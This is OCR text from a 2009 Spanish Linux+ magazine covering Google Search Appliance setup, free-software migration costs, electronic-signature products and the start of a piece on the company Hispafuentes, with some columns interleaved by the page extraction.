caracteriza por su facilidad de puesta a punto,
ya que en pocos instantes después de la primera
conexión el indexado comienza instantaneamente pudiendo empezar a realizar búsquedas
segundos después de realizar el encendido.
El proceso de instalación de Google-mini
o GB-1001 seria el siguiente: Realice el encendido del dispositivo, conecte al PC mediante el
cable de configuración y acceda a través del navegador a la la URL http://192.168.255.1:1111/.
Una vez realizado este paso, aparecerá un
asistente de configuración, en el que deberemos
otorgar al dispositivo de busqueda una dirección
IP, una máscara de subred, el campo de pasarela
predeterminada y la velocidad de la red.
Realizado esto debería configurar los servidores DNS así como los sufijos de la siguiente
forma:
soporte.ejemplo.es
productos.ejemplo.es
division.ejemplo.es
Configurar el servidor SMTP, para que el dispositivo pueda enviar notificaciones y alertas
al administrador así como la zona horaria. Una
vez introducida una lista de direcciones IP de
servidores NTP (protocolo de tiempo de red),
podremos pasar a la configuración del rastreo.
Accedemos a la URL https://dirección_IP:
8443/ o https://dirección_IP:8000/ dependiendo de acceso mediante conexión segura o no.
Y pasaremos a acceder al menú de rastrear
e indexar donde deberemos escribir una o varias URL a ser escaneadas.
En este punto podemos realizar una configuración básica, que posteriormente podremos
modificar sin problemas, acerca de rastrear o no
determinadas URL con unos patrones específicos.
Una vez realizados estos pasos básicos ya
tendremos el dispositivo de búsqueda listo para
proporcionar contenido a los usuarios finales,
y como hemos podido observar el tiempo estimado y la dificultad de puesta a punto inicial
es mínima.
Ahora mismo sería posible acceder al GSA virGeneralmente los administradores de sistual a través de un navegador. Con lo que para temas que emplean Google Search Appliance
realizar su administración deberíamos acceder como primera ocasión, se sorprenden de la canti-
Linux+ 5/2009
soluciones para empresas
Google Search Appliance
dad de resultados y documentos que se pueden
llegar a mostrar, pero tras una serie de filtros
como comentamos con anterioridad se pueden
gestionar los resultados mostrados.
Por seguridad, cabe recalcar que los parámetros de configuración de la red necesarios
como, por ejemplo, la dirección IP asignada al
dispositivo de búsqueda expuestos anteriormente, sólo pueden modificarse desde un equipo con
acceso físico al dispositivo. El acceso a través
de la red no es suficiente para modificar estos
parámetros.
Para hacer funcionar GSA-to-GSA One
Box es necesario un servidor de aplicaciones
J2EE (como Tomcat) con soporte para servlets,
una versión de JRE superior o igual a 1.4, así
como JDK 1.4 o superior para poder reconstruir los servlets y el fichero war (web archive)
suministrado.
En el caso de modificar el códido fuente,
bajo licencia Apache 2.0, sería necesario emplear Eclipse, Ant y Jbuilder.
Para hacer funcionar nuestro GSA-to-GSA
deberíamos seguir los siguiente pasos:
¿Qué ocurre si mi empresa
tiene varios GSA pero en
diferentes departamentos
separados geográficamente?
•
•
Se puede dar el caso que una misma empresa
disponga de varios dispositivos GSA repartidos
por distintos departamentos, regiones e incluso
continentes, siendo necesario poder observar si •
existen resultados relevantes en otro GSA de la
corporación.
Esto es posible gracias a GSA-to-GSA
One Box, una aplicación creada por Fmackenz
y Cyrusm pertenecientes al Google Enterprise
Labs, en la que un GSA pregunta a otro (GSA
o mini) mediante el framework de One-Box para obtener información y devuelve el resultado
en fracciones de segundo, mostrándolos en la
misma página de resultado.
Cargar el fichero GSAOBF.war en nuestro
servidor de aplicación J2EE, como Tomcat.
Abrir el fichero GSAOBF \ WEB-INF \
classes \ GSAOneBoxProvider.properties,
que nos permitirá configurar los parametros respecto a nuestra configuración.
Es documento gsaoneboxprovider.properti
es por defeccto contiene lo siguiente (ver
Listado 1). Siendo:
– sa.host = Host o IP del GSA que
será buscado por el GSA-to-GSA
– sa.port = El puerto por el cual se
realizará la búsqueda
– sa.site = El nombre de la colección
buscada por el GSA One-Box
– sa.client = El nombre del frontend GSA
•
•
•
•
– sa.proxystylesheet = El nombre
del front-end GSA que tiene el XSLT
para la tranformación
– sa.providertext = Nombre identificativo de un OneBox que será devuleto al GSA tras la consulta
– sa.image = Imagen que aparece una
vez mostradas las busquedas. La ruta
seria: GSAOBF\images\
– sa.name = Nombre representativo de
las busquedas del GSA-to-GSA
– sa.maxresults = Número máximo
de resultados mostrados, se recomienda un valor entre 2 y 5.
vModificar todas la ocurrencias de
YOUR_ONEBOX_HOST, en el fichero GSA_
Basic.xml por el host donde está ubicado
el GSA-to-GSA.
Modificar todas las ocurrencias de YOUR_
ONEBOX_PORT, en el fichero GSA_Basic.
xml por el puerto en el que su aplicación
se ejecuta en el servidor donde esta ubicado el GSA-to-GSA.
Instalar el modulo GSA_Basic.xml en el
GSA.
Ya seria posible probar consultas y ver los
resultados.
La aplicación está disponible en:
http://code.google.com/p/gsa2gsa1box/
PUBLICIDAD
www.lpmagazine.org
35
soluciones para empresas
Google Search Appliance
GSA vs Thunderstone Search
Appliance
Thunderstone Search Appliance es el único dispositivo físico capaz de competir con Google
Search Appliance, que es capaz de realizar 15
consultas por segundo (o alrededor de 1000 por
minuto), superando al GB-1001 de Google que
sólo admite 300 por minuto. Permite grupos ilimitados al igual que ocurre con GSA, dividiéndolos por comunidades, sitios webs o temas.
Tiene una capacidad de indexación de
3 millones de documentos, asemejandose al
GB-1001. Indice de contenidos de documentos
de Flash, JavaScript, Shockwave para rastrear
contenido web que no se puede encontrar a
través de hipervínculos de HTML convencionales, gestión automática de cookies, detección
de duplicados, creación de hojas de estilo XML
y capacidad para indexar contenido binario mediante metadatos.
Soporte para 150 formatos de documentos
diferentes, frente a los más de 200 que soporta
GSA y capacidad de búsqueda en bases de datos
MS SQL Server, Oracle, Sybase, DB2, PostgreSQL y Thunderstone Texis.
Pero las diferencias más importantes que tiene Thunderstone Search Appliance sobre Google
Search Appliance es la capacidad de modificar el
Ranking de relevancia, rastrear sitios webs de terceros, eliminación de duplicados, añadir o quitar
URLs en tiempo real y soporte telefónico.
Google Search Appliance
+ Google Desktop edición
para empresas (GDfE)
Esta indexación la lleva a cabo continuamente ejecutandose en segundo plano, con lo
que si recibe un mail, en unos instantes después, tendrá la posibilidad de poder buscarlo.
En cambio, en la versión empresarial, éste
necesita ser configurado para trabajas con Google Search Appliance, así como éste último para
trabajar con el primero.
¿Cómo podemos hacer para que
GdfE pueda funcionar con GSA?
Google Desktop para empresas permite llevar a
cabo una configuración individual en los equipos
para que pueda comunicarse correctamente con
Google Search Appliance y de este modo poder
insertar los resultados obtenidos en los resultados
obtenidos mediante GSA.
La configuración para que esto ocurra sería
la siguiente. Vamos al menú Inicio, Ejecutar
e introducimos el comando: gpedit.msc. En la
parte izquierda de la consola de administración,
hacemos clic con el botón derecho del ratón en
el elemento Plantillas administrativas, en Configuración del usuario, y seleccionaremos la opción Agregar o quitar plantillas. Una vez aquí agregaremos GoogleDesktopSearch.adm que se ha
extraído del zip obtenido al descargar GDfE.
Ahora tenemos que configurar las políticas
para que los resultados de GDfE aparezcan en los
resultados de GSA. Para ello, en la misma parte
izquierda del editor de políticas de grupo vamos
a Integración de empresas donde haremos doble
clic sobre Google Search Appliances y lo habilitamos, poniendo el nombre del host de GSA,
como por ejemplo gsaLinux.google.com
Nuestro último paso sería configurar las políticas de GDfE para poder añadir una pestaña de la
aplicación a las principales páginas de resultados
de Google y Desktop.
Vamos al menu anterior de configuración de
usuario y seleccionamos la pestaña de busqueda
para empresa dentro del apartado de Integración
para empresas, lo habilitamos y le damos un
nombre.
Introducimos la URL de la página principal
de búsqueda de Google Search Appliance como
por ejemplo: http://gsaLinux.google.com/search?
site=default_collection&client=integrated_
frontend&proxystylesheet=integrated_frontend&
output=xml_no_dtd&proxycustom=<HOME/>
Y una vez realizado esto tendríamos Google
Desktop para empresas (GdfE) complemente
funcionando en nuestro sistema junto con Google
Search Appliance.
Google Desktop para empresas (GDfE)es una
aplicación de búsqueda ubicada en el escritorio
que permite a los usuarios encontrar un determinado texto deseado. Controlando de esta forma la cantidad de información albergada dentro
de los equipos y que incluye funciones de administración que mejoran la seguridad y permiten
una configuración de forma centralizada.
Permite encontrar dicha información en mensajes de correo electrónico (Outlook, IBM Lotus
Notes, Outlook Express, Netscape Mail, Mozilla
Mail y Thunderbird), archivos de Word, Excel,
PowerPoint, PDF, MP3, de imagen, audio y vídeo, música, video, fotos, chats (Chats de AOL
y AOL Instant Messenger) y páginas web (Internet Explorer, Netscape, Mozilla o Firefox) que
han sido visitadas con anterioridad en el mismo
ordenador que ha sido instalada la aplicación.
Una vez realizada la instalación de Google
Desktop, en la versión estandar la aplicación
crea un índice de todo el contenido que ha selec- Conclusión
cionado para que posteriormente pueda consul- Imagina una carrera de coches a muerte, junto
tarlo como si lo hiciese desde la misma web de a un desfiladero (digamos desfiladero porque si
Google.com
fuese en la carreta F-51 de Torrepacheco la cosa
36
Linux+ 5/2009
pierde emoción), donde se encuentran dos vehículos preparados para tomar la salida.
Uno es un flamante deportivo azul con una
pegatina blanca en la luna trasera que pone Thunderstone y el otro es un Renault color amarillo
con una banderita en la antena que pone Google.
El piloto del primero coche preparó a conciencia la competición, aligerando al máximo el
vehículo, deshaciéndose de los sillones, la rapacería, el equipo de música, etc, dejando sola la
estructura, las cuatro ruedas y el volante. Con ello
consiguió que pudiese alcanzar los 300 kilometros por hora. Por otro lado, el piloto del Renault
amarillo, con su equipamiento de serie, sólo llegaría a los 200 kilometros por hora. Aun así, el se
sentía seguro, con su GPS, su mejor disco sonando por los altavoces, su bote de refresco en el posa
vasos, su elevalunas eléctrico, cierre centralizado
y un equipo de gente dispuesta a colaborar desinteresadamente en caso de rotura, abandono o mejora tecnológica. Supongo que ya todos sabemos
o podemos imaginar, quién sería el ganador de
la carrera y cuál caería por el desfiladero provocando una tremenda explosión. No creo que haga
falta comentar que el ganador recuperó a la chica,
volvió a su trabajo y acabo casándose en una antigua iglesia de la vieja Italia.
Es cierto y con esto quiero concluir, que en
ocasiones la velocidad no es todo, también hay
que ver el apoyo que tenemos detrás, la comunidad de desarrolladores que trabajan para aumentar las funcionalidades del producto, la seguridad
y las posibilidades de configuración que tiene
para adaptarlo a nuestra empresa.
Google Search Appliance, a pesar de ser un
producto aparentemente caro, rentabiliza gratamente la inversión.
Y recuerda, las buenas cosas llegan en cajas
amarillas. Conducid con cuidado.
Sobre el autor
Miguel Sempere es un estudiante de último
curso de Ingeniería Informática Superior de
la Universidad de Alicante, gran aficionado
a Linux desde que hace ya siete años cayó
en sus manos la distribución Lycoris. Que
por cierto no pudo instalar.
Actualmente colabora con el departamento de Física, Ingeniería de Sistemas
y Teoría de la Señal en el grupo Automática,
Robótica y Visión Artificial (Aurova) donde
trabaja con el robot humanoide Robonova
para el campeonato de robots Ceabot, organizado por el Comité Español de Automática.
Podeis contactar con él a través de la
siguiente dirección: miguel.sempere.sanch
[email protected]
Pedido de suscripción
Por favor, rellena este cupón y mándalo por fax: +31 (0) 36 540 72 52 o por correo: EMD The Netherlands – Belgium,
P.O. Box 30157, 1303 AC Almere, The Netherlands; e-mail: [email protected]
Nombre(s) ................................................................................................... Apellido(s) ..................................................................................................
Dirección ..............................................................................................................................................................................................................................
C.P. ..............................................................................................................
Población ....................................................................................................
Teléfono ..................................................................................................... Fax ...............................................................................................................
Suscripción a partir del No ...................................................................................................................................................................................................
e-mail (para poder recibir la factura) ..................................................................................................................................................................................
o Renovación automática de la suscripción
Título
número de
ejemplares
al año
Linux+DVD (1 DVD)
Mensual con un DVD dedicado a Linux
número de
suscripciones
a partir
del número
12
69 €
En total
Realizo el pago con:
□ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO
Válida hasta
□ transferencia bancaria a ABN AMRO Bank,
Randstad 2025, 1314 BB ALMERE, The Netherlands
Número de la cuenta bancaria: 59.49.12.075
IBAN: NL14ABNA0594912075
código SWIFT del banco (BIC): ABNANL2A
Fecha y firma obligatorias:
Precio
CVC Code
soluciones para empresas
Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito?
Reducción de costes
de software en la empresa
gracias al Software Libre, ¿un mito?
Yaiza Temprado Rodríguez
[email protected]
En los últimos años, los proyectos de software libre han abandonado el
entorno universitario y se han ido introduciendo paulatinamente en el mundo
empresarial. Sin embargo, aún hay muchas empresas que, o bien por
desconocimiento o por recelo, aún no se han atrevido a dar “el salto”.
E
n este artículo se analiza la situación actual del
software libre en las empresas y su nivel de implantación, así como los pros y los contras que
supone para una empresa migrar sus sistemas
a software libre.
¿Por qué ahora?
Hasta hace muy poco tiempo, el software libre no dejaba de ser
en las empresas una presencia casi anecdótica: la ausencia de
software profesional de calidad, la falta de compatibilidad con
programas propietarios que se han convertido en estándares de
facto o la falta de soporte por parte de empresas especializadas
en administrar sistemas basados en software libre, limitaron
durante mucho tiempo la expansión de éste en el entorno empresarial. Sin embargo, estas limitaciones, así como otras no menos
importantes como la facilidad de instalación y uso, han ido
desapareciendo hasta llegar al momento en el que nos encontramos ahora, cuando el software libre es por fin una alternativa
real al software propietario, con una oferta amplia de herramientas de alta calidad, fáciles de usar y totalmente compatibles.
Sin embargo, esto no es algo completamente nuevo: el software libre lleva ya algunos años cumpliendo sobradamente con
38
Linux+ 5/2009
lo que se espera de él y mucho más, sin embargo ha sido en los
últimos meses cuando muchas empresas han empezando a plantearse seriamente migrar sus sistemas de forma completa (o casi
completa) a alternativas basadas en software libre. Este hecho no
resulta sorprendente, sobre todo si tenemos en cuenta que en el
último año la crisis económica que se está viviendo a nivel global
está afectando especialmente a empresas pequeñas y medianas,
así como a trabajadores por cuenta propia. Por eso, en muchos
casos el dinero disponible es escaso, y son muchas las personas
y empresas que se plantean si el dinero dedicado a patentes de
software no estaría mejor invertido en otros recursos.
Pros
Cuando la gente piensa en las ventajas del software libre, la
primera que nos viene a la cabeza es que excepto raras excepciones, se trata de software gratuito. Aunque esta no es la única
ventaja (más adelante veremos otras), sí que es seguramente la
que puede tener un efecto más evidente sobre la economía de
una empresa. Aunque las copias ilegales de software propietario
hacen que mucha gente ni siquiera sea consciente del coste real
del software que utiliza, la realidad es que el software básico
para un ordenador suma un precio desorbitado, como podrá
soluciones para empresas
Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito?
durante cierto tiempo, pero finalmente se quedará obsoleto y tendremos que migrar la contabilidad a otro programa, con la consiguiente pérdida
de dinero, tiempo y con la potencial pérdida de
información y aparición de errores. Si nuestro
programa X hubiera sido software libre, ésto no
habría pasado: incluso en el caso de que todos los
desarolladores decidieran abandonar el proyecto,
siempre podemos retomarlo nosotros o pagar
a personas para que lo hagan. No dependemos
de ninguna empresa más que de la nuestra, que
es de lo que se trata.
Contras
verse detalladamente más adelante. Otro de los
beneficios del software libre es que permitirá
a nuestra empresa mejorar, ampliar y adaptar el
software a nuestras necesidades, sin depender de
que los responsables de ese software dedican que
determinada mejora es digna de su tiempo. Simplemente, cogemos el código fuente y lo modificamos como nos convenga o corrigiendo errores
que, por lo que sea, aún no se hayan solucionado.
En este punto, eso sí, tenemos que tener cuidado:
dependiendo de la licencia que tenga el software
libre que estamos adaptando, puede que estemos
obligados a liberar los cambios para que otros
usuarios puedan aprovecharse de ellos (el caso
más famoso es el de la licencia GPL).
Otra ventaja importante que muchas veces
pasa desapercibida, es la seguridad que nos proporciona el software libre: por ejemplo, si nuestra empresa maneja datos confidenciales y muy
sensibles (datos de clientes, de productos, ideas
para proyectos, etc), ¿podemos estar cien por
cien seguros de que ese software privativo, cuyo
código jamás hemos visto, no tiene debilidades
o puertas traseras que puedan dar acceso a nuestros datos a terceros? Esta ventaja no es trivial. El
software libre puede ser auditado (línea por línea
si hace falta) de forma que quede la más mínima
duda de que es seguro para nuestros datos, mientras que el software privativo no deja de ser una
caja negra a la que le estamos confiando nuestro
datos sin ninguna garantía.
Seguimos con las ventajas, y es que no debemos olvidar que el software libre, como ya hemos
dicho, nos permite que seamos nosotros mismos
los que modifiquemos y adaptemos el software o,
si no tenemos los conocimientos necesarios o los
recursos, que contratemos a otra persona que lo
haga en nuestro lugar. Y esta persona puede ser
cualquiera que nosotros elijamos, sin estar atados
a los desarrolladores de una empresa en particular. El verdadero potencial de algo tan aparentemente obvio se puede ver en el siguiente ejemplo:
supongamos que decidimos montar una empresa,
y en estos momentos el programa por excelencia
para llevar la contabilidad es el llamado X, software cerrado propiedad de la empresa Y. Una vez
montada nuestra empresa, toda la contabilidad al
día en el programa X, etc. la empresa Y decide
abandonar el desarrollo de ese software (o, aún
peor, la empresa Y quiebra). ¿Qué podemos hacer
en esta situación? ¿Cómo enfrentarse a ella? Podremos sobrevivir con el software X congelado
Tabla 1. Precios de las licencias del software más popular
Software común a todos los ordenadores:
Windows Vista
149 euros (x50)
Microsoft Office
399 euros (x50)
Software específico de los financieros:
Sage SP
466,75 euros (x5)
Software específico de los diseñadores gráficos:
Macromedia Studio
2.202,84 euros (x10)
Software específico de los programadores en C++:
Visual Studio 2005
799 euros (x15)
Rational Rose
5.456,65 euros (x15)
Software de los jefes:
Microsoft Project
1.230,08 euros (x7)
www.lpmagazine.org
Por supuesto, y por mucho que estemos deseosos de migrar nuestra empresa y empezar a ahorrar dinero, no debemor perder de vista tampoco que hay una serie de cosas a tener en cuenta
antes de decidirnos, de cara a detectar posibles
problemas y no arrepentirnos a medio camino.
¡Eso sí que sería una pérdida de dinero!
Lo primero que tendremos que hacer,
antes de comenzar la migración, será hacer un
análisis del software que necesitamos a nuestra
empresa y localizar software libre de similares
características. En muchos casos, esta equivalencia será muy sencilla (paquetes ofimáticos,
correo, navegador, mensajería instantánea...),
pero en el caso de software más especializado es
importante saber exactamente qué necesitamos,
ya que dificilmente encontraremos herramientas
con la misma funcionalidad, sino que tendremos
que renunciar a determinadas opciones y, seguramente acostumbrarnos a otras nuevas. Este
es, sin duda, uno de los puntos cruciales. Por
ejemplo, muchas empresas dedicadas a diseño
a las que les gustaría migrar sus sistemas se encuentran con la limitación de que el Autocad no
existen en GNU/Linux (aunque sí que existen
alternativas comerciales muy pontentes, como
el Pro/Engineer que, eso sí, no es libre). Algunas
empresas decidirán, llegados a este punto, que la
migración no es posible. Más adelante se explicarán alternativas para este problema.
Uno de los gastos que nos producirá la migración de nuestros sistemas es la que supone la
formación de los empleados. Este es un punto al
que raramente se le da la importancia que merece, pero que no debe despreciarse: si tenemos
trabajadores que han estado usando el mismo
entorno y las mismas herramientas durante años,
y decidimos de la noche a la mañana modificar
ambas cosas por completo sin formarles para
adaptarse al cambio, lo primero que lograremos
son empleados descontentos; y lo segundo, una
disminución muy importante en el nivel de productividad de la mayoría de ellos. Es por ello que
es importante separar una partida de presupuesto
para preparar a los trabajadores y que el cambio
39
soluciones para empresas
Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito?
Figura 2. Porcentaje de uso de software libre en entornos empresariales
suponga una reducción lo menor posible de la
productividad. No obstante, y por buena que sea
la formación recibida, debemos estar preparados
para que la época inmediatamente posterior al
cambio los empleados trabajen a un ritmo algo
menor al acostumbrado.
Aunque el aspecto y facilidad de uso de las
herramientas y sistemas operativos libres ha mejorado espectacularmente en los últimos años, aún
queda camino por recorrer, y existen algunos programas que serán difíciles de instalar para aquellos
usuarios sin experiencia en este tipo de sistemas,
así como la configuración de determinados dispositivos y algún detalle más. Seguramente, durante
la migración requeriremos la contratación de personal de sistemas que ayude a dejar los equipos
listos y configurados, y resuelva los problemas
que, seguro, irán surgiendo en el transcurso de la
migración e inmediatamente después.
¿Realmente nuestra empresa
ahorrará dinero?
Visto lo visto, está claro que la migración de
nuestros sistemas a software libre (de igual forma que cualquier otro cambio estructural de cierta magnitud) lleva asociado un coste extra que
no tendríamos con el sistema que tengamos en la
actualidad. Sin embargo, ¿cuánto tiempo tardaremos en rentabilizar esa inversión?
Supongamos una empresa mediana de desarrollo software, con 50 puestos de trabajo, todos
ellos con ordenador. Cinco de ellos pertenecen
a Recursos Humanos, otros cinco al departamento comercial, otros cinco a financiero, tres a administración de sistemas, siete a los jefes de proyectos y 25 a desarrollo, de los cuales diez se centran
en diseño gráfico y quince en programación en
C++. Vamos a suponer, por ser el caso común a la
mayoría de las empresas, que los administradores
de sistemas se basan en software libre, así que no
vamos a tener en cuenta las posibles licencias que
puedan tener en sus ordenadores. Dada esta situación, hagamos cálculos: (ver Tabla 1).
40
A esa bonita cifra de dinero en licencias tenemos que sumarle el hecho de que ese software
se quedará obsoleto en poco tiempo, lo que nos
supondrá una reinversión de aproximadamente el
30% cada dos años.
Por otro lado, tenemos que sumar también
el gasto que nos supone en administración de
sistemas: los servidores basados en GNU/Linux
han demostrado una y otra vez ser más estables
y requerir menos mantenimiento que sistemas
basados en Windows, lo que limita al máximo la
contratación de administradores 24x7, que son sin
duda los más costosos. Además, la imposibilidad
de los usuarios de instalarse programas, introducir virus en sus ordenadores o tocar ficheros fuera
del directorio que tienen asignado, ahorrará una
enorme cantidad de tiempo en administración, lo
que también supone un ahorro importante.
Cómo migrar nuestra empresa.
Posibles problemas
Lo primero que tenemos que tener en cuenta es
que el ser humano tiende a la comodidad por encima de todo, es una realidad. Cuando los empleados de una empresa llevan 10 años trabajando con
determinadas herramientas, cualquier cambio, por
pequeño que sea, chocará contra la desconfianza,
el desconcierto o el abierto desprecio. Es por ello
que debemos ser capaces de guiar a nuestros
empleados a través del cambio que se avecina de
forma gradual y proporcionándoles la formación
adecuada para trabajar en el nuevo entorno.
No es mala idea plantearse la migración en
épocas en las que el nivel de trabajo sea lo menor
posible (por ejemplo, durante el verano o justo
después de él), ya que los trabajadores tendrán
más tiempo para investigar y amoldarse, disminuyendo el stress que les puede causar tener que
hacer una tarea urgente y encontrarse con que no
tienen el programa que siempre han usado para
realizarla...
Otra buena idea es realizar la migración en
dos pasos: primero, mantener los puestos con
Linux+ 5/2009
Windows, pero instalando el software libre que
tenemos idea de que terminen usando en GNU/
Linux (Openoffice, Thunderbird, Firefox...) y, una
vez que haya pasado un tiempo razonable y los
empleados se encuentren cómodos con estas herramientas, realizar la segunda parte de la migración, cambiando el sistema operativo.
Sin embargo, y a pesar de todas las ventajas
del software libre, conviene no ser excesivamente
radicales al respecto: es posible que algunos de
nuestros empleados definitivamente necesiten
herramientas que sólo se pueden usar en Windows y cuya alternativa para Linux no cumpla las
espectactivas. En ese caso, mejor que empeñarse
en eliminar Windows por completo de nuestra
empresa, conviene ceder en pro de la productividad de nuestros trabajadores: un sistema de arranque dual, en el que el empleado pueda arrancar
Windows cuando necesite utilizar la herramienta
problemática y Linux para todo lo demás, o la utilización de programas de emulación como Wine,
que permite instalar aplicaciones de Windows
bajo Linux, pueden ser la solución más acertada.
Conclusiones
La migración de una empresa de un sistema de
software propietario a uno completamente libre
es complicada, sin duda, por lo que se debe estudiar la situación con cuidado y minimizando en
lo posible el impacto sobre los trabajadores. Sin
embargo, las múltiples ventajas a medio plazo
(y el importante ahorro económico a largo plazo),
así como la libertad de no depender de ninguna
empresa para gestionar y desarrollar el software
que utilizamos, hace que sin duda ese esfuerzo
merezca la pena.
Sin embargo, no debemos perder de vista
que estamos hablando de una empresa, y como
tal lo que buscamos sobre todo es que la productividad y la satisfacción de los trabajadores sean lo
más altas posibles, por lo que plantearse como alternativa soluciones mixtas en nuestra empresa
(con algunos puestos con Windows y otros con
Linux, o algunos con programas de Windows
instalados sobre Wine) puede ser la solución
cómoda y funcional que estamos buscando.
Sobre la autora
Yaiza Temprado Rodríguez (ytr@moviquity.
com) es Ingeniero Superior en Informática
y actualmente realiza su doctorado en la
Universidad Carlos III de Madrid. Además
de trabajar para Telefónica I+D como experta en Data Mining, imparte clases de
Aprendizaje Automático en la Universidad
Europea de Madrid. Es además administradora de la página www.chicaslinux.org.
soluciones para empresas
La firma electrónica
La Firma electrónica
y sus aplicaciones en la actualidad
[email protected]
Existen en este momento en el mundo gran cantidad de libros, webs
y jornadas informativas en donde se habla de la Firma electrónica y la
revolución documental que trae consigo y que llega como un tsunami.
A
ctualmente, la firma manuscrita en un papel es
equiparable legalmente a la firma electrónica
en un documento (fichero de cualquier índole
y formato), permitiendo que personas estampen su firma sin necesidad de estar ubicadas en el mismo
espacio físico, con plena identificación de los firmantes, con
control formidable de que el documento es el mismo y no ha
variado, e incluso con sellado de tiempo.
Cuando hablamos de un documento, en realidad nos
referimos igualmente a un fichero electrónico, ya que lo
mismo se puede firmar una película, una aplicación, contrato,
historial médico que un currículo, informe financiero, código
fuente y logs de servidor o backups de empresa, tanto si se
almacenan como si se transportan llevan la seguridad embebida en ellos.
¿Firmarías una mejora para tu empresa?
Disponer de capacidad de firmar ficheros electrónicamente
evitará millones de impresiones de papel innecesarias, por lo
que podemos afirmar que el resultado de la generalización de
la firma electrónica traerá un impacto ambiental positivo de
incalculable valor.
42
Linux+ 5/2009
En todo el mundo existe un movimiento emergente muy
potente que se orienta en distintas líneas:
• Mejora de la seguridad (Autenticación, Integridad, Confidencialidad)
• Mejora de procesos, eficacia documental, trazabilidad,
ahorro de papel e incluso voto electrónico, facilidad para
el almacenamiento y búsqueda de información y mejor
transporte.
Organismos europeos como el ETSI empujan con una gran
fuerza la interoperabilidad de formatos en toda Europa, de modo que los ciudadanos, gobiernos y empresas puedan manejar
aplicaciones distintas pero todas ellas basándose en estándares. Estandarización en cuanto a formatos (CAdES, PDF,
XAdES, ODF), en cuanto a algoritmos de cifrado que están
en la base de la firma electrónica y en relación a certificados
digitales creados por Infraestructuras de clave pública (PKI).
Todo ello fácilmente utilizable y apto para el ciudadano
y mundo empresarial.
Estas consideraciones están en la base de todos los productos que ha desarrollado KSI Suguridad Digital para los
soluciones para empresas
La firma electrónica
una electrónica no llega a los 2,5, hay razones
también económicas para zambullirse con ilusión en este proceso donde también la reducción de papel y mejora de la seguridad deben
ser valorados.
En pro de la eficiencia
entornos Linux y Windows y que podríamos
resumir en:
• Explorador ESecure – Firma y cifrado
(Win),
• ecoFactura Escritorio– Facturación electrónica (Win),
• ecoAsesoría –Firma, envío y publicación
de información firmada (Win),
• Plataforma web de Firma y eFactura (Linux y Windows),
• API de firma y cifrado (Linux y Windows).
El universo de la firma electrónica y cifrado
tiene plena aplicación en la mejora de la seguridad documental, facilitando el cumplimiento
de normas legales como la LOPD, y otras de
rango europeo y mundial para entornos médicos y alimentarios.
La administración española está siendo
punta de lanza con EEUU en la expansión de
estos procesos. Proyectos como el del DNI
electrónico, la Ley de Firma electrónica y la
normativa de Facturación electrónica han
creado un contexto en el que cualquier profesional o empresa avanzada no puede quedarse atrás.
Si la gestión de una factura en papel se
calcula en torno a los 8 euros mientras que
KSI Seguridad Digital aporta productos capaces de incorporar la firma digital y cifrado de
la información a cualquier tipo de documento,
no importando si el documento es un archivo
PDF, XML, fotografía, plano, copia de seguridad o factura.
Uno de los productos más demandados es
la Librería de Seguridad de KSI para desarrolladores que aporta todos los estándares necesarios para la utilización de distintos tipos de
cifrado en las aplicaciones (Simétrico y Asimétrico). Aporta todas las capacidades de Firma
electrónica que hoy día necesitamos incorporar
a sistemas de documentación, de contabilidad
e informes, de nóminas y trabajo en grupo, de
almacenamiento seguro. Así como aquellos
orientados a cumplir normativas legales como
CFR 21, HIPAA, GAMP4, LOPD, LFE, y aquellas normativas orientadas a implantar la Factura electrónica en Europa siguiendo recomendaciones de la CEE y estándares de organizaciones
como ETSI (European Telecommunications
Standards Institute).
Las empresas interesadas en este producto proceden de muchos países, remarcable
Hispanoamérica, y tienen sectores de negocio muy diferenciados, siendo en unos casos
empresas de desarrollo que ofrecen a sus clientes soluciones con la firma digital incorporada o bien empresas que desarrollan para sí
mismas estas soluciones. (Se puede ver más
información en http://www.ksitdigital.com/
productos/api/).
www.lpmagazine.org
Otro producto que ha creado una gran
expectación es ecoPFN. Comprende la fusión
del famoso PFN (PHP File Navigator) y la
tecnología de firma y cifrado de KSI Seguridad
Digital. De esta unión nace un producto con la
capacidad de gestión de la información y con la
potencia de la firma y el cifrado.
Basada en tecnología MySQL, Apache
y PHP esta plataforma es capaz de gestionar
múltiples usuarios, con control por raíces y grupos, a ella se puede acceder mediante usuario/
contraseña o bien mediante certificado digital.
Es posible el firmar lotes de ficheros y enviarlos por Email a sus destinatarios además
de dejar la información en la zona privada del
usuario.
La trazabilidad de las acciones es un importante elemento de control para saber si un usuario ha accedido a la información. Este producto
está enlazado con los productos de KSI dirigidos a la facturación electrónica (ecoFactura)
y gestión de información para asesorías (ecoAsesoría), permitiendo que estos productos
sean capaz de procesar facturas, documentos
fiscales (IVA, IRPF, Certificados) o laborales (Nóminas, Finiquitos, Certificados, TC2) y enviarlos a la plataforma estando accesibles para los
usuarios.
Estos productos, ecoFactura y ecoAsesoría,
en este momento sólo funcionan en Windows.
Más información en: http://www.ksitdigital.
com/productos/otros-productos/
Casos de éxito
Podemos contar experiencias de muchos tipos
de clientes diferentes y entornos muy distintos.
Desde un cliente que emite 10 facturas al mes
y emite facturación electrónica con nuestros
productos como la Mancomunidad de Aguas
de Pamplona que emite cerca de 40000 facturas al mes.
En otros sectores diferentes a la factura
electrónica como el de los ingenieros, ha supuesto un descubrimiento nuestra capacidad
de firma de cualquier documento, dado que no
deben pasar a PDF el plano que desean firmar
y asegurar.
Asimismo, queremos hacer mención especial al ámbito de la asesoría de empresas,
concretamente a Pyramide Asesores, ubicada en Navarra, que implantaron el producto
ecoAsesoría ayudando de forma activa a que
la herramienta mejore cada día.
Esta empresa ha pasado de tener cuatro
días de trabajo ocupada a una persona en la
gestión de los envíos por correo postal, a realizar el mismo trabajo en un par de horas. No
sólo han asegurado su información, también
han mejorado sus procesos y la eficiencia.
43
soluciones para empresas
Hispafuentes: una alternativa libre en la seguridad
Hispafuentes:
una alternativa libre en la seguridad
[email protected]
Hispafuentes, fundada en el año 1999, es una empresa dedicada al
desarrollo de productos y servicios del mundo Linux y Software Libre
en general, migraciones de entornos propietarios a entornos Open
Source, virtualización y soluciones de seguridad, incluyendo, entre otras
tecnologías certificados de clave pública.
44
E
ntre los proyectos realizados a lo largo de su dilatada LDAP Corporativo
trayectoria, cabe reseñar los siguientes:
El Servicio de Salud de Castilla y León (SaCyl) tiene implementado una solución aportada por Hispafuentes donde
Molinux
un único directorio con ramas de lectura o lectura-escritura
